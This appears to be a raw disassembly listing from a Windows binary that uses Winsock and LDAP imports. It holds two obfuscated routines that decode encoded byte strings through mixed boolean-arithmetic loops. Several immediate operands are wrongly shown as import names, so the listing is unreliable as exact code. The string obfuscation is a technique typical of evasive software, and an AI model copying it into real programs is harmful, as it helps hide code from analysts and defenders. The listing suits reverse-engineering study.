lea rcx, [rbp + 0x2fc0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14021e089
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x2fc0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2fc0]
call fcn.140266950
nop
lea rcx, [rbp + 0x2fc0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x880], 0xcb
mov byte [rbp + 0x881], Ordinal_143
mov byte [rbp + 0x882], 0xac
mov byte [rbp + 0x883], 0xf3
mov byte [rbp + 0x884], Ordinal_79
mov byte [rbp + 0x885], 0xf1
mov byte [rbp + 0x886], WSAStartup
mov byte [rbp + 0x887], 0xf7
mov byte [rbp + 0x888], 0x55
mov byte [rbp + 0x889], 0xf5
mov byte [rbp + 0x88a], 0xa2
mov byte [rbp + 0x88b], 0xfb
mov byte [rbp + 0x88c], 0x66
mov byte [rbp + 0x88d], 0xf9
mov byte [rbp + 0x88e], 0x55
mov byte [rbp + 0x88f], 0xff
mov byte [rbp + 0x890], 0x59
mov byte [rbp + 0x891], 0xfd
mov byte [rbp + 0x892], WSAStartup
mov byte [rbp + 0x893], 0xe3
mov byte [rbp + 0x894], 0x47
mov byte [rbp + 0x895], 0xe1
mov byte [rbp + 0x896], Ordinal_79
mov byte [rbp + 0x897], 0xe7
mov byte [rbp + 0x898], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x899], 0xe5
mov byte [rbp + 0x89a], 0x42
mov byte [rbp + 0x89b], 0xeb
mov byte [rbp + 0x89c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x89d], 0xe9
mov byte [rbp + 0x89e], sil
mov byte [rbp + 0x89f], 0xef
mov byte [rbp + 0x8a0], 0xb8
mov byte [rbp + 0x8a1], 0xed
mov byte [rbp + 0x8a2], 0x87
mov byte [rbp + 0x8a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8a4], 0x44
mov byte [rbp + 0x8a5], Ordinal_211
mov byte [rbp + 0x8a6], sil
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x81
mov byte [rbp + 0x8a9], Ordinal_217
mov byte [rbp + 0x8aa], 0x7e
mov byte [rbp + 0x8ab], 0xdb
mov byte [rbp + 0x8ac], 0x7c
mov byte [rbp + 0x8ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8ae], WSAStartup
mov byte [rbp + 0x8af], 0xdf
mov byte [rbp + 0x8b0], Ordinal_143
mov byte [rbp + 0x8b1], 0xdd
mov byte [rbp + 0x8b2], 0x64
mov byte [rbp + 0x8b3], Ordinal_200
mov byte [rbp + 0x8b4], WSAGetLastError
mov byte [rbp + 0x8b5], 0xc1
mov byte [rbp + 0x8b6], 0x54
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], Ordinal_200
mov byte [rbp + 0x8b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x8ba], eax
mov word [rbp + 0x8be], ax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, rsi
jae 0x14021eea0
movzx r8d, byte [rbp + r9 + 0x880]
mov r11, r8
cmp rbx, r9
ja 0x14021ee97
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14021e2ce
movabs r14, 0xda32561d88143dbe
lea rcx, [r9 + r14]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x14021e312
je 0x14021ee07
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021edaf
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021ed55
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14021ed2b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14021ece0
movabs r14, 0xda32561d88143dbe
cmp r10, r9
ja 0x14021ee8e
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x14021e347
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1a
jmp 0x14021e55b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14021ecc0
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021ec9c
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14021ec6a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021ec56
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14021e880
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14021e85d
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14021e849
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14021e825
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14021e811
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14021e7ed
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14021e7c9
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14021e7a5
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14021e782
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14021e75b
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14021e388
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14021ee67
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14021ee40
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14021e58a
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14021e563
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14021e53d
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14021e737
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x14021e723
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14021e700
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14021e6d1
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14021e388
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14021e6bd
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14021e69a
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14021e677
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14021e650
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14021e62d
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14021e60c
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14021e5e8
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14021e5c4
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14021e5b0
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14021e388
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x14021e388
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x26
add dil, dl
jmp 0x14021e37b
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021e312
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x14021e295
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x14021ecef
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14021ed26
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x14021ed4d
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14021ebf7
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, sil
jmp 0x14021ec28
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021ec89
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14021ed76
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x14021edd1
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14021e76a
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x880], dil
jmp 0x14021ee38
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x14021e919
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14021e8cf
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021e8a2
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021ee29
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x14021edd1
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021ed76
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x14021ec89
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x14021ec28
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14021e61b
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14021ed4d
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14021ea13
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14021ecff
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x14021e951
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x32
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 6
je 0x14021ec2d
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14021ea2b
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, rsi
jae 0x14021ebd4
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14021eb11
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 0x1000
jb 0x14021e6f3
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14021ed02
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021e97e
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x14021ee29
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14021e99b
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14021e7b4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021e9cb
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021ec28
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021e9f7
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x14021ebfa
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021e8a5
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021ed26
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021ea57
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
jmp 0x14021ecff
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021ea83
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
jmp 0x14021ebfa
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021eab3
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021ec28
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021eae0
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x42
jmp 0x14021ec89
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14021e8e2
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x14021ee29
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021eb3e
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14021ee29
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021eb6a
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x14021ed76
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14021eb87
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14021e9b3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14021eba4
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14021ed3a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021e91c
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x14021ed26
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x880]
sub dil, al
sub dil, 0x50
add dil, r8b
add dil, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r9 + 0x880], dl
add rbx, r10
jmp 0x14021ec89
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x880]
jmp 0x14021e7c1
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14021e7b4
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x72
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14021ee38
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x46
jmp 0x14021ed4d
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
jmp 0x14021ecff
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add r10, r12
jmp 0x14021ed4d
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
sub r9, r12
jmp 0x14021ee38
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5e
add dil, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x880], al
add r10, r12
add rax, r10
sub r9, rax
jmp 0x14021edd4
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
mov r8b, r11b
add dil, dl
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x880], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14021ee29
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x880]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14021e283
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021e280
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021e270
lea rdx, [rbp + 0x1598428]
jmp 0x14021eea7
lea rdx, [rbp + 0x16dc1e6]
jmp 0x14021eea7
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x258]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x30d0]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14021eedc
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x30d0]
call fcn.14018c840
nop
lea rcx, [rbp + 0x30d0]
call fcn.140266950
nop
lea rcx, [rbp + 0x30d0]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xfd0], 0xe3
mov byte [rbp + 0xfd1], 0xad
mov byte [rbp + 0xfd2], 0xec
mov byte [rbp + 0xfd3], 0xab
mov byte [rbp + 0xfd4], ntohl
mov byte [rbp + 0xfd5], 0xa9
mov byte [rbp + 0xfd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xfd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xfd8], 0x3d
mov byte [rbp + 0xfd9], __WSAFDIsSet
mov byte [rbp + 0xfda], r13b
mov byte [rbp + 0xfdb], __WSAFDIsSet
mov byte [rbp + 0xfdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfdd], __WSAFDIsSet
mov byte [rbp + 0xfde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xfdf], 0x9f
mov byte [rbp + 0xfe0], 7
mov byte [rbp + 0xfe1], 0x9d
mov byte [rbp + 0xfe2], 5
mov byte [rbp + 0xfe3], 0x9b
mov byte [rbp + 0xfe4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xfe5], 0x99
mov byte [rbp + 0xfe6], Ordinal_46
mov byte [rbp + 0xfe7], 0x87
mov r14d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xfe8], r14b
mov byte [rbp + 0xfe9], 0x85
mov byte [rbp + 0xfea], Ordinal_217
mov byte [rbp + 0xfeb], 0x83
mov byte [rbp + 0xfec], 0x3d
mov byte [rbp + 0xfed], 0x81
mov byte [rbp + 0xfee], Ordinal_50
mov byte [rbp + 0xfef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xff0], Ordinal_46
mov byte [rbp + 0xff1], Ordinal_143
mov byte [rbp + 0xff2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xff3], Ordinal_143
mov byte [rbp + 0xff4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xff5], Ordinal_143
mov byte [rbp + 0xff6], 0x64
mov byte [rbp + 0xff7], 0xf7
mov byte [rbp + 0xff8], 0x5c
mov byte [rbp + 0xff9], 0xf5
mov byte [rbp + 0xffa], 0x62
mov byte [rbp + 0xffb], 0xf3
mov byte [rbp + 0xffc], 0xaa
mov byte [rbp + 0xffd], 0xf1
mov byte [rbp + 0xffe], 0xa2
mov byte [rbp + 0xfff], 0xff
mov byte [rbp + 0x1000], 0xae
mov byte [rbp + 0x1001], 0xfd
mov byte [rbp + 0x1002], 0x57
mov byte [rbp + 0x1003], 0xfb
mov byte [rbp + 0x1004], 0x60
mov byte [rbp + 0x1005], 0xf9
mov byte [rbp + 0x1006], Ordinal_79
mov byte [rbp + 0x1007], 0xe7
mov byte [rbp + 0x1008], 0xb6
mov byte [rbp + 0x1009], 0xe5
mov byte [rbp + 0x100a], 0x77
mov byte [rbp + 0x100b], 0xe3
mov byte [rbp + 0x100c], 0x7d
mov byte [rbp + 0x100d], 0xe1
mov byte [rbp + 0x100e], 0x47
mov byte [rbp + 0x100f], 0xef
mov byte [rbp + 0x1010], 0xec
mov byte [rbp + 0x1011], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1012], xmm0
mov qword [rbp + 0x1022], rax
mov byte [rbp + 0x102a], al
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14021fce6
movzx r8d, byte [rbp + r9 + 0xfd0]
mov r11, r8
cmp rbx, r9
ja 0x14021fcdd
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14021f169
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x14021f1a3
je 0x14021fc54
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021fbc8
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14021fb90
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14021fb42
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14021fb19
cmp r10, r9
ja 0x14021fcd4
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x14021f1c9
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14021f3b0
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14021fad0
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021faaf
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14021fa8b
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14021fa65
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14021f744
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14021f721
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14021f70d
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14021f6e9
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14021f6c6
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14021f6b2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14021f68e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14021f67a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14021f657
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14021f643
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14021f20a
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14021fcb0
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14021fc89
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14021f3ee
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14021f3c8
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14021f3a1
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14021f5a9
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14021f588
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14021f536
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14021f512
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14021f4ef
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14021f4cb
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14021f4a7
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14021f493
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14021f470
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14021f45c
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14021f438
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14021f415
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14021f20a
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x14021f20a
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021f1fd
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x14021f1a3
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021f131
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
jmp 0x14021faee
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x14021fb37
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14021f8a3
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x14021fb60
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14021fb9f
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x14021fbb5
movabs rdx, 0x762804f2acf943d8
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021fbea
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14021fa83
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14021fc72
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
